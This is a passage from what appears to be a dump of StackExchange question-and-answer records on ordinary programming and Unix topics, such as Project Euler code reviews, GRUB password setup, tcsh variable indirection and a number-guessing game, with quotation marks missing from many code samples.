(low + high) // 2 if numbers[mid] == value: while mid >= low and numbers[mid] == value: mid -= 1 return mid if mid >= low else -1 elif numbers[mid] > value: high = mid - 1 else: low = mid + 1 # while return low-1 if (low-1) >= startIndex else -1def findTriagles(numbers): :param numbers: could contains duplicate number, assume numbers are sorted :return: unique triples results = set() for i in range(0, len(numbers)-2): upperBoundIndex=min(i+2, len(numbers)-1) for j in range(i+1, len(numbers)-1): #upperBoundIndex = findSum(numbers, j+1, numbers[i]+numbers[j]) # previous code upperBoundIndex = findSum(numbers, upperBoundIndex, numbers[i] + numbers[j]) if upperBoundIndex != -1: for k in range(j+1, upperBoundIndex+1): results.add((numbers[i],numbers[j],numbers[k])) return resultsif __name__ == __main__: #print findTriagles([4,5,6,7]) # output, set([(4, 6, 7), (4, 5, 7), (4, 5, 6), (5, 6, 7)]) print findTriagles([4, 4, 6, 7]) # output, set([(4, 4, 6), (4, 4, 7), (4, 6, 7)])" , "title": "Find valid triples for a sorted list of integers (part 2)" , "tags": "python;algorithm;python 2.7;sorting;binary search" } { "id": "_unix.21378" , "question": "I would love to get the mappings to work for keyboard shortcuts shown here http://ascii-table.com/ansi-escape-sequences.php I have the hang of color but for some reason nothing else seems to work!" , "title": "Non printing characters" , "tags": "bash;terminal" , "accepted_answer": "Those codes are primarily for ANSI.SYS, a DOS extension. The equivalent for BASH is to rebind the keys via readline. See the bash(1) man page, READLINE section." } { "id": "_codereview.135259" , "question": "I have a to write a simple utility function that given a time in CST and a date in PST, tells if the date is today and if the current time is less than the cutoff (post converting cutoff to PST).This is my attempt (highly childish but I seriously don't get Java date-time at all). If anyone could help me improve this code, I would be highly grateful. /** * Returns true if: * - availableDate is today * - currentTime is less than cutoff time * False otherwise * * @param cutoffTimeStr HH:mm format, CST timezone * @param availableDate YYYYMMDD format, PST timezone * @return true/false */ public Boolean test(String cutoffTimeStr, String availableDate) throws ParseException{ DateFormat availableDateFormat = new SimpleDateFormat(YYYYMMDD, Locale.ENGLISH); Date avlDate = availableDateFormat.parse(availableDate); avlDate.setHours(new Date().getHours()); avlDate.setMinutes(new Date().getMinutes()); //Compose current time with the given date DateFormat cutOffFormat = new SimpleDateFormat(HH:mm); cutOffFormat.setTimeZone(TimeZone.getTimeZone(CST)); Time cutOffTime = new java.sql.Time(cutOffFormat.parse(cutoffTimeStr).getTime()); //cutOffTime is PST version of given CST time Date currentDateWithCutoffTime = new Date(); currentDateWithCutoffTime.setHours(cutOffTime.getHours()); currentDateWithCutoffTime.setMinutes(cutOffTime.getMinutes()); //Today's date with time as cutoff if(avlDate.before(currentDateWithCutoffTime)){ return true; } else{ return false; } }I have assumed that the availableDate will always be today or greater than today and thus, if its before the currentDateWithCutoffTime, we can return true." , "title": "Java util to compare if time beyond cutoff" , "tags": "java;datetime" } { "id": "_cs.44816" , "question": "Could you please resolve a confusion with Schaefer's theorem for me? Namely, why does it not imply many problems in P are NP-complete? For example, primality testing surely cannot be reduced to one of the six classes in the theorem, so why does that not imply it's NP-complete?" , "title": "Shaefer's Dichotomy Theorem" , "tags": "complexity theory;np complete;satisfiability" } { "id": "_softwareengineering.87460" , "question": "What is the best strategy to go about understanding some one else's code for a medium sized project, if the code is not well documented and does not adhere to many coding standards?" , "title": "Deciphering foreign code" , "tags": "maintenance;comments;knowledge transfer" , "accepted_answer": "My approach:Play with the app (use it)Check the code organization (layers/entities etc.)Generate references diagram (i.e. using NDepend for .NET)Look for some code patterns in code (this will give you some ideas what the author(s) tried to implement)Don't dig into details too deep at start.Focus on understanding the dataflow (i.e. how are lists populated, how is data saved, for example: UI->BusinessLayer->DataAccessLayer->SLQ Stored Procedure)" } { "id": "_cstheory.10362" , "question": "I am a computer science research student working in application of Machine Learning to solve Computer Vision problems.Since, lot of linear algebra(eigen-values, SVD etc.) comes up when reading Machine Learning/Vision literature, I decided to take a linear algebra course this semester. Much to my surprise, the course didn't look at all like Gilbert Strang's Applied Linear algebra(on OCW) I had started taking earlier. The course textbook is Linear Algebra by Hoffman and Kunze. We started with concepts of Abstract algebra like groups, fields, rings, isomorphism, quotient groups etc. And then moved on to study theoretical linear algebra over finite fields, where we cover proofs for important theorms/lemmas in the following topics:Vector spaces, linear span, linear independence, existence of basis. Linear transformations. Solutions of linear equations, row reduced echelon form, complete echelon form,rank. Minimal polynomial of a linear transformation. Jordan canonical form. Determinants. Characteristic polynomial, eigenvalues and eigenvectors. Inner product space. Gram Schmidt orthoganalization. Unitary and Hermitian transformations. Diagonalization of Hermitian transformations.I wanted to understand if there is any significance/application of understanding these proofs in machine learning/computer vision research or should I be better off focusing on the applied Linear Algebra?" , "title": "What is the significance of abstract linear algebra in machine learning/computer vision research?" , "tags": "machine learning;linear algebra;cv.computer vision" , "accepted_answer": "In my experience (YMMV) linear algebra is very much used as a tool in Machine Learning and Computer Vision, with little interest in the underlying mathematics.That said, you'll need a more mathematical understanding than, say, a games programmer or a basic researcher in the natural sciences. Basically you'll need to know enough to take a method like PCA apart and put it back together again, but you don't need to worry about your matrices containing anything other than real values. It sounds like this course is starting off deeper and more general than you want, but the list of topics suggests that you are moving in the right direction. So long as some attention is given to how to translate the mathematical methods into the computer. It's one thing to suggest that an SVD decomposition exists, and another to actually compute it.The deep mathematical understanding won't hurt, but there's no guarantee that all of it will be useful to you. " } { "id": "_unix.28853" , "question": "I've used NEdit since about 2003. NEdit's whitespace highlighting is subtle and I prefer it to the dot other editors put in whitespace. NEdit's background normally is light grey and whitespace is rendered as white without a dot (and tabs in a darker gray).However, NEdit doesn't support UTF-8 encoding, so I don't intend to use NEdit for much longer. I've (reluctantly) determined that gedit is the presently available editor that is closest to what I want.I am trying to replicate NEdit's look in gedit without success. I can change the style of the spaces shown with the Draw Spaces plugin by adding the following to the gedit style file:
ajax/map.php 500) { echo 'Invalid path'; } $x = $current_x; $y = $current_y + 1; $_SESSION['angle'] = 'down'; break; case 'West': $x = $current_x - 1; $y = $current_y; $_SESSION['angle'] = 'left'; break; case 'East': $x = $current_x + 1; $y = $current_y; $_SESSION['angle'] = 'right'; break;}$result = mysql_query(SELECT walkable FROM map WHERE x = $x AND y = $y);$row = mysql_fetch_array($result);//Is the next tile walkable?if ($row['walkable'] == 1) { //Update Player's position mysql_query(UPDATE hero SET x=$x, y=$y WHERE id = 1); $startX = $x;$startY = $y;} else { $startX = $current_x; $startY = $current_y;}$fieldHeight = 10;$fieldWidth = 10;//x = 0 = 4//y = 0 = 4$sql = SELECT id, x, y, terrain FROM map WHERE x BETWEEN .($startX-$fieldWidth). AND .($startX+$fieldWidth). AND y BETWEEN .($startY-$fieldWidth). AND .($startY+$fieldHeight);$result = mysql_query($sql);$map = array();while($row = mysql_fetch_assoc($result)) { $map[$row['x']][$row['y']] = array('terrain' => $row['terrain']);}ob_start();echo '';for ($y=$startY-$fieldHeight;$y<$startY+$fieldHeight;$y++) { echo ''; for ($x=$startX-$fieldWidth;$x<$startX+$fieldWidth;$x++) { if ($x == $startX && $y == $startY) { echo ''; } else { //echo '(' . $x . ',' . $y . ')';echo ''; } } echo '';}echo '
/
';$content = ob_get_contents();ob_end_clean();echo $content;" , "title": "Improve the performance of jquery/php generated map" , "tags": "php;performance;mysql;ajax" } { "id": "_unix.13706" , "question": "I'm running Grub .97 with an OpenSuSE 11.2 and Windows XP installation. I configure the grub password in OpenSuSE 11.2 via the Boot Loader module. However, when I type in the password in grub, during bootup, I simply get a Failed message. I have tried about three or four different passwords. I can boot up, I just can't use the password to edit anything about grub.I have also tried setting the grub password via the command line by typing grub to go to the interactive menu, typing md5crypt, typing my password, and copying the hashed password to the menu.lst file. Still no luck when I enter the password." , "title": "Grub does not recognize password" , "tags": "grub;opensuse;dual boot" , "accepted_answer": "I found the answer to my problem here. If I use the md5crypt command to generate my password, I need to enter --md5 between my password and the encrypted password. Now this works. So, before the title entries in my /boot/grub/menu.lst file I have the line with a password. This now reads password --md5 encrypted_password.Based on my experience, it appears that setting the password for the Boot Loader via YaST does not work correctly for OpenSuSE 11.2. I have not yet checked to see if adding a --md5 to the encrypted password provided by YaST would cause it to work, I've only tried the md5crypt method with this. " } { "id": "_unix.88621" , "question": "I'm currently planning my business servers and I would like to know what's the best Linux distro for these needs:Nginx + MySQL + PHP 5.4Zimbra Collaboration - Open SourceNode.js w/ ForeverI know it's a objective question but I asked a lot of people and they didn't answer me other thing than It's your choice...I have a 2 CPU, 1GB RAM, 30GB SSD server..." , "title": "Best Linux for a small Web server" , "tags": "email;php;mysql;nginx;node.js" , "accepted_answer": "You might want to use a distribution that has a low footprint. Debian quickly comes to mind, but I can't see why you wouldn't use ubuntu or centos or even gentoo or arch.In the end of the day, you should use the distribution you feel more comfortable with." } { "id": "_unix.208036" , "question": "I have a Raspberry Pi connected to a router (Router1) with internet connection in en0, with IP 192.168.1.110,however I have my RPi's wifi port (wlan0) connected to another router (Router2) with IP 172.31.198.123 (another LAN network).Now my Macbook is connected to Router2(e.g. with IP 172.31.198.100), and I want to reach the internet through my Raspberry Pi (maybe setting up a VPN server or something like that on the Pi).Only when I take out my cable (en0), can I ping through 172.31.198.123 from my Mac.Otherwise the Pi will use en0 and I can't ping through 172.31.198.123.Could anyone tell me how to do it?auto loiface lo inet loopbackauto eth0allow-hotplug eth0iface eth0 inet staticaddress 192.168.1.110netmask 255.255.255.0broadcast 192.168.1.255gateway 192.168.1.1auto wlan0allow-hotplug wlan0iface wlan0 inet manualwpa-conf /etc/wpa_supplicant/wpa_supplicant.confauto wlan1allow-hotplug wlan1iface wlan1 inet manualwpa-conf /etc/wpa_supplicant/wpa_supplicant.conf~$ sudo cat /etc/wpa_supplicant/wpa_supplicant.confctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdevupdate_config=1network={ ssid=XXXX-WiFi key_mgmt=NONE}" , "title": "How to share one internet connection from LAN to another LAN?" , "tags": "networking;raspberry pi" } { "id": "_cs.43816" , "question": "I'm in doubt about that because in Google's results for a search on bill clinton [1],the server The 'Unofficial' Bill Clinton (94.06%) appears first than the server President Bill Clinton - The Dark Side (97.27%) and there is no feedback mechanism modifing the ranks.Since I've noticed that, I am wondering if google uses some algorithm for efficiently intesecting inverted indices that exploits the PageRank although not completely preserving order.[1] The Anatomy of a Large-Scale Hypertextual Web Search Enginehttp://infolab.stanford.edu/~backrub/google.html" , "title": "Does Google's search algorithm really respect order of relevance imposed by PageRank?" , "tags": "information retrieval" } { "id": "_softwareengineering.13786" , "question": "I was asked to make some small technical presentation about specific application scalability. The application is developed using Java, Spring MVC, Hibernate. I have access to the application source code.How can I measure software scalability (using sources) and what metrics do I need to look after when measuring software scalability? " , "title": "How is software scalability measured?" , "tags": "scalability;metrics" , "accepted_answer": "I would start with reading Wikipedia article on the subject.In short, scalability is how system performance grows with adding more resources or, alternatively, how the resource utilization grows with increasing load. For example, how many concurrent users can your site handle until response time grows beyond 0.3 sec? The same question after you double the available RAM/disk/CPU/etc. You probably can use your knowledge of the application internals to decide which parameters are worth checking. Setup a test bench with a server machine and one or more client machines. Use some tool to limit the amount of resources available to the server (e.g. ulimit) or run some interfering application on the server. Measure how the server deals with client requests. Repeat the above gradually increasing/decreasing interfering load/available resources. At the end you get n-dimensional space with dots in it. It may be simpler to change only one parameter at a time while fixing all the others at some typical value (or a couple of values). In this case you can represent the result as a bunch of 2D graphs with server performance (e.g. number of users/requests) on one axis and resource utilization/availability on the other.There are more complex scenarios where your application uses several servers for several part of the application and you can vary their amount and ratio, but I guess it's not your case. At most, you probably may want to vary the number of threads/processes, if this matters.If you measure the whole application you usually don't need source code access. However, you may be interesting in measuring some specific part of the code (e.g. only DB or UI). Then you can use the source code to expose only this module for measurements and run your tests. This is called a microbenchmark.If you're looking for examples, there is a plenty of them in academic articles. Search the google scholar for performance evaluation + your preferred terms." } { "id": "_softwareengineering.236451" , "question": "I'm seeking vital naming of string filename parameter in parameter list used in various methods where filename with full path is expected. In many cases also UNC path can be actually supplied as full path because many libraries handle it natively.I usually call the parameter just filename, but it can be misleading in two ways:Beginners tend to think it is only name of file without path.If there is a need of splitting the value into path and filename, term filename sticks better with filename part without path which appeared after split. Anyway, it is not easy to give that second part better name than filename. Alternative of splitting filename to path and filenameOnly looks weird to me.I think it might be better to use clearly distinguishable term for filename with path than borrowing filename which already has stronger meaning for something else.I was thinking about term absoluteFilePath or fullyQualifiedFilename to stand as argument names. Maybe they are good and I need only some encouragement to start using them, but I would like to understand your best practices.EDIT: I would still like to stick with official VB.NET naming and capitalization conventions, so the only thing I need help sharpening is clear self-documenting wording of the term. (Not whether I should use Hungarian notation or not I cannot.)" , "title": "How to name filename parameter to make clear it should contain full path?" , "tags": "naming;file handling;conventions" , "accepted_answer": "It sounds like you'd be safer defining a code contract.You can say a precondition of this method is that the path supplied is an absolute path.You can make this clearer by naming the input parameter String absolutePathToFile.And finally, you can make your method fail early if the preconditions aren't met. Do this by checking if the absolutePathToFile is indeed an absolute path. If not, throw an argument exception.So, instead of simply picking a parameter name and hoping the next developers a) pay attention to it, and b) understand it the same way you do (both of which are unlikely), you do the following:Code Contract: Explicitly declare your method preconditions. You can put this in your documentation, or as inline method documentation (if your language/ide supports it)Self Documenting Code: Choose a parameter name that describes what you want as clearly as possible (not always easy)Defensive Programming: Check your method parameters to see if they're valid. If not, fail hard and fail early." } { "id": "_unix.87941" , "question": "I'm trying to do the following:set a = kittenset temp_kitten = purrecho ${temp_$a}I want the echo command to return purr.The overall idea is that I have a bunch of variables in an array and a bunch of temp_variables in another array and I want to loop through them in a single foreach loop for comparison." , "title": "How achieve variable indirection (refer to a variable whose name is stored in another variable) in tcsh" , "tags": "shell script;tcsh;variable substitution" , "accepted_answer": "You can use eval:eval echo \\$temp_$aReferencesBash variable indirection" } { "id": "_codereview.44482" , "question": "Given an array start from the first element and reach the last by jumping. The jump length can be at most the value at the current position in the array. Optimum result is when u reach the goal in minimum number of jumps. For example: Given array A = {2,3,1,1,4} possible ways to reach the end (index list) i) 0,2,3,4 (jump 2 to index 2, then jump 1 to index 3 then 1 to index 4) ii) 0,1,4 (jump 1 to index 1, then jump 3 to index 4) Since second solution has only 2 jumps it is the optimum result.A lot of input has been derived from previous review here.public final class JumpGame { private JumpGame() {} /** * Returns the shortest jump path from the source to destination * * @param jump The jump array * @return Returns one of the shortest paths to the destination. */ public static List getShortestJumps(int[] jump) { final List list = new ArrayList(); list.add(0); for (int i = 0; i < jump.length - 1; ) { int iSteps = Math.min(jump.length - 1, i + jump[i]); // iSteps is all the consecutive steps reachable by jumping from i. int maxStep = Integer.MIN_VALUE; // max step is one of the step in iSteps, which has the max potential to take us forward. /* trying each step of iSteps */ for (int j = i + 1; j <= iSteps; j++) { /* being greedy and picking up the best step */ if (maxStep < jump[j]) { maxStep = j; } } list.add(maxStep); i = maxStep; // jump to the maxStep. } return list; } public static void main(String[] args) { int[] a1 = {2,3,1,1,4}; List expected = new ArrayList(); expected.add(0); expected.add(1); expected.add(4); Assert.assertEquals(expected, getShortestJumps (a1)); int[] a2 = {3, 1, 10, 1, 4}; expected = new ArrayList(); expected.add(0); expected.add(2); expected.add(4); Assert.assertEquals(expected, getShortestJumps (a2)); }}" , "title": "Jump game to find minimum hops from source to destination" , "tags": "java;algorithm" , "accepted_answer": "Code-StyleFor the most part, this is good:return types are good.Collections are well typedmethod names are goodapart from list, a1, and a2, variable names are goodThe list is a bad name for a List. The fact that it is a list is obvious... but, what is the list...? I prefer result to list.a1 and a2 are not bad, but they are not good either. They are just 'OK'.AlgorithmI have worked the code through, and figure there is a plane-jane O(n) solution to the problem. Your algorithm is something larger than O(n), It is closer to O(n * m) where m is the longest jump.The alternate algorithm I cam up with sets up a 'range' for the next jump.... It seaches all the values from the current cursor to the current range, and it looks for the jump within that range that would extend the range the furthest.The method looks like:public static List getShortestJumps(int[] jump) { final List list = new ArrayList(); if (jump.length == 0) { return list; } int cursor = 0; int best = 0; int range = 0; int remaining = 1; while (cursor + 1 < jump.length) { if (cursor + jump[cursor] > range) { // jumping from here would extend us further than other alternatives so far range = cursor + jump[cursor]; best = cursor; if (range >= (jump.length - 1)) { // in fact, this jump would take us to the last member, we have a solution list.add(best); break; } } if (--remaining == 0) { // got to the end of our previous jump, move ahead by our best. list.add(best); remaining = range - cursor; } cursor++; } // always add the last member of the array list.add(jump.length - 1); return list;}" } { "id": "_webmaster.69477" , "question": "I'm learning HTML at www.w3schools.com/html/html_urlencode.asp and don't understand this sentence:host - defines the domain host (default host for http is www)Example scheme://host.domain:port/path/filenameExplanation: scheme - defines the type of Internet service (most common is http) host - defines the domain host (default host for http is www) domain - defines the Internet domain name (w3schools.com) port - defines the port number at the host (default for http is 80) path - defines a path at the server (If omitted: the root directory of the site) filename - defines the name of a document or resourceWhat is the relation between domain host and www?" , "title": "How to understand scheme://host.domain:port/path/filename?" , "tags": "domains;web hosting;dns;subdomain" , "accepted_answer": "http://www.w3schools.com/html/html_urlencode.aspThe domain = w3schools.comwww is the host.The path is /html/ And the file is html_urlencode.asp" } { "id": "_codereview.151566" , "question": "I have solved Project Euler's problem number 47, which reads:The first two consecutive numbers to have two distinct prime factors are:14 = 2 7 15 = 3 5The first three consecutive numbers to have three distinct prime factors are:644 = 22 7 23 645 = 3 5 43 646 = 2 17 19.Find the first four consecutive integers to have four distinct prime factors each. What is the first of these numbers?The correct answer is : 134043.I used some sort of memoization to work out the problem but the performance is still pretty bad: 5.45.5 seconds. The trick in this question here is that the prime factors can actually be on some power which if evaluated doesn't result in a prime number but if the base is prime it's fine: e.g., 22 = 4.Here is my solution:public class Problem47 : IProblem{ public int ID => 47; public string Condition => ProblemsConditions.ProblemConditions[ID]; //Key - value to power //Value - factorized value private readonly Dictionary passedNumbers = new Dictionary(); private readonly Dictionary factorizedPowers = new Dictionary(); private readonly HashSet primes = new HashSet(); private const int primeFactorCount = 4; public ProblemOutput Solve() { Stopwatch sw = Stopwatch.StartNew(); for (int i = 2 * 3 * 5 * 7; ; i++) { int[] numbers = { i, i + 1, i + 2, i + 3 }; int skipAmount = 0; foreach (int n in numbers) { bool value; if (passedNumbers.TryGetValue(n, out value)) { if (!value) { skipAmount = n - (i - 1); } } else { passedNumbers.Add(n, HasNPrimeFactors(n, primeFactorCount)); if (!passedNumbers[n]) { skipAmount = n - (i - 1); } } } if (skipAmount != 0) { i += skipAmount - 1; continue; } sw.Stop(); return new ProblemOutput(sw.ElapsedMilliseconds, numbers[numbers.Length - primeFactorCount].ToString()); } } private bool HasNPrimeFactors(int input, int n) { Dictionary factors = new Dictionary(); for (int i = 2; input > 1 ; i++) { if (input % i == 0) { if (primes.Contains(i) || IsPrime(i)) { if (!primes.Contains(i)) { primes.Add(i); } if (factorizedPowers.ContainsValue(i)) { int maximizedPower = GetMaximizedFactor(input, i); input /= maximizedPower; if (factors.ContainsKey(i)) { factors[i] += GetPowerOfValue(maximizedPower, i); } else { factors.Add(i, GetPowerOfValue(maximizedPower, i)); } } else { input /= i; if (factors.ContainsKey(i)) { factors[i]++; factorizedPowers.Add((int) Math.Pow(i, factors[i]), i); } else { factors.Add(i, 1); } } } } if (i > input) { i = 1; } } return factors.Count == n; } private int GetMaximizedFactor(int input, int value) { var matches = factorizedPowers.Where(x => x.Value == value && input % x.Key == 0); return matches.Any() ? matches.Max().Key : value; } private static int GetPowerOfValue(int input, int value) { int count = 0; while (input > 1) { input /= value; count++; } return count; } private bool IsPrime(int value) { if (value < 2) { return false; } if (value % 2 == 0) { return value == 2; } if (value % 3 == 0) { return value == 3; } if (value % 5 == 0) { return value == 5; } if (value == 7) { return true; } for (int divisor = 7; divisor * divisor <= value; divisor += 30) { if (value % divisor == 0) { return false; } if (value % (divisor + 4) == 0) { return false; } if (value % (divisor + 6) == 0) { return false; } if (value % (divisor + 10) == 0) { return false; } if (value % (divisor + 12) == 0) { return false; } if (value % (divisor + 16) == 0) { return false; } if (value % (divisor + 22) == 0) { return false; } if (value % (divisor + 24) == 0) { return false; } } return true; }}Please ignore the inheritance, the ID and Condition properties, and the ProblemOutput class. Those are irrelevant for this question and have no effect on the program whatsoever." , "title": "Project Euler #47: Distinct primes factors" , "tags": "c#;performance;programming challenge;primes" , "accepted_answer": "If you're working through the Project Euler questions, you should become familiar with the Seive of Eratoshenes.Not only is it a very simple way to generate a bunch of prime numbers at once, but it's an algorithm which can be subtly modified to solve other problems.In this problem, we want to calculate how many prime factors each number in a range has. We've going to be testing a lot of numbers, so it would be great if we can calculate all of the factor counts at once. And we can!First, pick a safe top number that we're going to test up to. I'll guess that the answer will be a number less than a million.Create an array of a million zeros. It starts as an array of zeros, but we want to transform this array so that:array[i] == count_of_factors(i)Start at 2. array[2] == 0, so therefore 2 is prime. Now we can add 1 to {array[4], array[6], array[8] ... array[999998]}, because they are factors of 2.Move to 3. array[3] == 0, so add 1 to {array[6], array[9], array[12] ... array[999999]}Move to 4. array[4] == 1. (We've already incremented it) Because it is not 0, we know it is not a prime number, so we ignore it.Move to 5. array[5] == 0, so add 1 to {array[10], array[15], array[20], array[25]...array[999995]And so on. When you're done, every number will either be 0 (if the index is prime), or it will be the count of prime factors of that index. Now it's as simple as finding the first four contiguous fours.This solution takes around 130 milliseconds:static int SolveProblem(){ int[] factorCounts = new int[1000000]; for(int i = 2; i < factorCounts.Length; ++i) { if(factorCounts[i] == 0) // It's Prime { for(int j = i*2; j < factorCounts.Length; j+=i) { ++factorCounts[j]; } } } // Now find the first four contiguous fours int contiguousFours = 0; for (int i = 210; i < factorCounts.Length; ++i) { contiguousFours = factorCounts[i] == 4 ? contiguousFours + 1 : 0; if(contiguousFours == 4) { return i - 3; } } return -1;}But we can do better than this. The above code has two loops: one which calculates the factor counts and one which searches for the contiguous fours. Lets merge this into one loop: that way it will stop generating factor counts as soon as it finds the fours.static int SolveProblem(){ int[] factorCounts = new int[1000000]; int contiguousFours = 0; for(int i = 2; i < factorCounts.Length; ++i) { contiguousFours = factorCounts[i] == 4 ? contiguousFours + 1 : 0; if (contiguousFours == 4) { return i - 3; } if (factorCounts[i] == 0) // It's Prime { for(int j = i*2; j < factorCounts.Length; j+=i) { ++factorCounts[j]; } } } return -1;}Now we're down to 85 milliseconds." } { "id": "_codereview.24431" , "question": "Requirements:Given a long section of text, where the only indication that a paragraph has ended is a shorter line, make a guess about the first paragraph. The lines are hardwrapped, and the wrapping is consistent for the entire text.The code below assumes that a paragraph ends with a line that is shorter than the average of all of the other lines. It also checks to see whether the line is shorter merely because of word wrapping by looking at the word in the next line and seeing whether that would have made the line extend beyond the maximum width for the paragraph.def get_first_paragraph(source_text): lines = source_text.splitlines() lens = [len(line) for line in lines] avglen = sum(lens)/len(lens) maxlen = max(lens) newlines = [] for line_idx, line in enumerate(lines): newlines.append(line) try: word_in_next_line = lines[line_idx+1].split()[0] except IndexError: break # we've reached the last line if len(line) < avglen and len(line) + 1 + len(word_in_next_line) < maxlen: # 1 is for space between words break return '\\n'.join(newlines)Sample #1Input:This is a sample paragaraph. It goes on and on for several sentences. Many OF These Remarkable Sentences are Considerable in Length.It has a variety of words with different lengths, and there is not aconsistent line length, although it appears to hover supercalifragilisticexpialidociously around the 70 character mark.Ideally the code should recognize that one line is much shorter thanthe rest, and is shorter not because of a much longer word followingit which has wrapped the line, but because we have reached the end ofa paragraph.This is the next paragraph, and continues onwards formore and more sentences.Output:This is a sample paragaraph. It goes on and on for several sentences.Many OF These Remarkable Sentences are Considerable in Length.It has a variety of words with different lengths, and there is not aconsistent line length, although it appears to hoversupercalifragilisticexpialidociously around the 70 character mark.Ideally the code should recognize that one line is much shorter thanthe rest, and is shorter not because of a much longer word followingit which has wrapped the line, but because we have reached the end ofa paragraph.Using other sample inputs I see there are a few issues, particularly if the text features a short paragraph or if there is more than one paragraph in the source text (leading to the trailing shorter lines reducing the overall average)." , "title": "Given a random section of text delimited by line breaks, get the first paragraph" , "tags": "python;strings" } { "id": "_codereview.71523" , "question": "I'm not really even sure if this counts as a game. There is so little code, but it works. It is a game where you have to guess the computers number, and it tells you how many times you took to get it right. I kind of want feedback, and not ways to improve the code. I want to know ways to improve my future projects and what to avoid again.def main(): # Guess My Number # # The computer picks a random number between 1 and 100 # The player tries to guess it and the computer lets # the player know if the guess is too high, too low # or right on the money import random def ask_number(question, low, high, step): response = None while response not in range(low, high): response = int(input(question)) return response tries += step #Opening Remarks print(Welcome to 'Guess My Number'!) print(I'm thinking of a number between 1 and 100.) print(Try to guess it in as few attempts as possible.) # set the initial values the_number = random.randint(1, 100) # Create the priming read here tries = 0 guess= 0 while int(guess) != int(the_number): guess = ask_number(Enter your guess:, 1, 100, 1) if int(guess) == int(the_number): print(Your right on the money!) elif int(guess) > int(the_number): print(To high!) elif int(guess) < int(the_number): print(To low!) tries += 1 #Didnt know how to make it reloop to the start... print(You guessed it! The number was, the_number) print(And it only took you, tries, tries!) #Program Closing input(Press the enter key to exit.)main()" , "title": "Number-guessing game" , "tags": "python;number guessing game" , "accepted_answer": "import random should be at the top of the script.The call to main should be guarded by if __name__ == __main__:.the_number and guess are already int, so the repeated calls to e.g. int(the_number) are redundant.Docstrings should be formatted properly, as multi-line strings not comments #. Many of the actual comments are redundant - it's generally obvious what's going on (well done!)The step argument to ask_number doesn't make much sense, and there's no error handling for non-numeric inputs.The magic numbers 1 and 100 should be factored out.Use str.format for combining strings with other objects.Think about your logic more carefully - if guess isn't equal to or greater than the_number it must be less, you can just use else.100 isn't in range(1, 100).I would write it as:import random def main(low=1, high=100): Guess My Number The computer picks a random number between low and high The player tries to guess it and the computer lets the player know if the guess is too high, too low or right on the money print(Welcome to 'Guess My Number'!) print(I'm thinking of a number between {} and {}..format(low, high)) print(Try to guess it in as few attempts as possible.) the_number = random.randint(low, high) tries = 0 while True: guess = ask_number(Enter your guess:, low, high) if guess == the_number: print(You're right on the money!) break elif guess > the_number: print(Too high!) else: print(Too low!) tries += 1 print(You guessed it! The number was {}..format(the_number)) print(And it only took you {} tries!.format(tries)) input(Press the enter key to exit.)def ask_number(question, low, high): Get the user to input a number in the appropriate range. while True: try: response = int(input(question)) except ValueError: print Not an integer else: if response in range(low, high+1): return response print Out of rangeif __name__ == __main__: main()To play again, you could recursively call main, or have a loop at the end of the script:if __name__ == __main__: while True: main() again = input(Play again (y/n)? ).lower() if again not in {y, yes}: break" } { "id": "_unix.84616" , "question": "I've checked out GPU usage monitoring (CUDA), but are there similar tools for AMD/ATI cards? Or kind of universal tools? I want to check out if my applications use the 256 MB of RAM of the video card at all, since I've seen applications that uses lots system memory, while they should rather use the video cards.glxinfo does not provide the information I'm looking for, but maybe you will ask if I have HW Acceleration:$ glxinfo | grep renderdirect rendering: YesOpenGL renderer string: Gallium 0.4 on ATI RV515The info about the card:03:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] RV515 [Radeon X1300/X1550] (prog-if 00 [VGA controller]) Subsystem: VISIONTEK Device 2352 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 'color', 'force'=>true, 'text'=>true, 'border'=>true, 'back'=>true, 'shadow'=>true, 'sizes'=>true, 'styles'=>true, 'send_header'=>true, 'custom'=>null ); } if( isset( $config['send_header'] ) && $config['send_header'] && !headers_sent() ) { header('Content-type: text/css'); } $colors = array( 'black', 'red'=>array('dark','indian','mediumviolet','orange','paleviolet'), 'green'=>array('dark','light','forest','yellow','lawn','lime','pale','darkolive','sea','darksea','lightsea','mediumsea','spring','mediumspring'), 'blue'=>array('alice','cadet','cornflower','dark','darkslate','deepsky','dodge','light','lightsky','lightsteel','medium','mediumslate','midnight','powder','royal','sky','slate','steel'), 'white' ); $sizes=array( 'em'=>array(0.3,0.5,1,1.25,1.3,2,2.5,3,3.3,3.5,4), 'px'=>array(0,1,2,3,4,5,6,7,8,9,10,11,12,12.5,13,14,15,16,17,17.5,18,19,20), 'mm'=>range(0,9), 'cm'=>range(0,9), '%'=>array(0,1,2,3,4,5,6,7,8,9,10,12.5,15,20,25,30,33.3,35,40,45,50,55,60,62.5,65,66.6,65,70,75,80,85,90,95,99,100) ); $styles=array( 'border'=>array('none','doted','dashed','solid'), 'text'=>array('none','underline') ); $important = ( isset($config['force']) && $config['force'] ? '!important' : '' ); $class = ( !isset($config['class']) || $config['class'] === null ? '.color' : ( $config['class'] == false ? '' : '.'.$config['class'] ) ); foreach($colors as $color_name=>$color) { if( is_array($color) ) { foreach( $color as $sub_color ) { if( isset($config['text']) && $config['text'] ) { echo $class, '.', $color_name, '-', $sub_color, '-text{color:', $sub_color, $color_name, $important, ';}'; } if( isset($config['border']) && $config['border'] ) { echo $class, '.', $color_name, '-', $sub_color, '-border{border-color:', $sub_color, $color_name, $important, ';}'; } if( isset($config['back']) && $config['back'] ) { echo $class, '.', $color_name, '-', $sub_color, '-back{background-color:', $sub_color, $color_name, $important, ';}'; echo $class, '.', $color_name, '-', $sub_color, '-background{background-color:', $sub_color, $color_name, $important, ';}'; } if( isset($config['shadow']) && $config['shadow'] ) { echo $class, '.', $color_name, '-', $sub_color, '-shadow{text-shadow-color:', $sub_color, $color_name, $important, ';box-shadow-color:', $sub_color, $important, ';}'; } if( isset($config['outline']) && $config['outline'] ) { echo $class, '.', $color_name, '-', $sub_color, '-outline{outline-color:', $sub_color, $color_name, $important, ';}'; } } } else { if( isset($config['text']) && $config['text'] ) { echo $class, '.', $color, '-text{color:', $color, $important, ';}'; } if( isset($config['border']) && $config['border'] ) { echo $class, '.', $color, '-border{border-color:', $color, $important, ';}'; } if( isset($config['back']) && $config['back'] ) { echo $class, '.', $color, '-back{background-color:', $color, $important, ';}'; echo $class, '.', $color, '-background{background-color:', $color, $important, ';}'; } if( isset($config['shadow']) && $config['shadow'] ) { 